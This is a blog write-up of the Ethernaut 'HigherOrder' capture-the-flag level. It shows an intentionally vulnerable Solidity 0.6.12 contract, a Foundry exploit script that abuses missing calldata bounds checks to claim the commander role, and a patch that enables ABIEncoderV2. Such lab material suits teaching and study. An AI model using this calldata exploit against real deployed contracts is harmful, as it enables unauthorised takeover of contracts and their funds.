Ethernaut-30-HigherOrder

Challenge

Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme.

Your objective is to become the Commander of the Higher Order! Good luck!

Things that might help:
  • Sometimes, calldata cannot be trusted.

  • Compilers are constantly evolving into better spaceships.

// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

Solve

The key point of the challenge is this contract is compiled by solidity 0.6.12.

Before solidity 0.8.0, compiler is using ABIEncoderV1, using ABIEncoderV1 means that the compiled contract will not perform bounds checking on function calldata.

https://docs.soliditylang.org/en/v0.8.1/080-breaking-changes.html?highlight=abicoder#silent-changes-of-the-semantics

So we can manually construct calldata and pass them in, regardless of the uint8 limitation of calldata.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;

import {Script, console} from "forge-std/Script.sol";
import {HigherOrder} from "script/Ethernaut30-HigherOrderV2.sol";

contract Solver is Script {
    address higherorder = vm.envAddress("HIGHERORDER_INSTANCE");

    function setUp() public {}

    function run() public {
        vm.startBroadcast(vm.envUint("PRIV_KEY"));

        higherorder.call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
        higherorder.call(abi.encodeWithSignature("claimLeadership()"));

        vm.stopBroadcast();
    }
}

contract SolverV2 is Script {
    HigherOrder higherorder;

    function setUp() public {
        higherorder = new HigherOrder();
    }

    function run() public {
        address(higherorder).call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
        address(higherorder).call(abi.encodeWithSignature("claimLeadership()"));
    }
}
forge script script/Ethernaut30-HigherOrder.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast

Potential Patches

Explicitly specify the use of ABIEncoderV2.

// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2; //@patch

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

The solution code won’t be pass while we explicitly specify using ABIEncoderV2.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣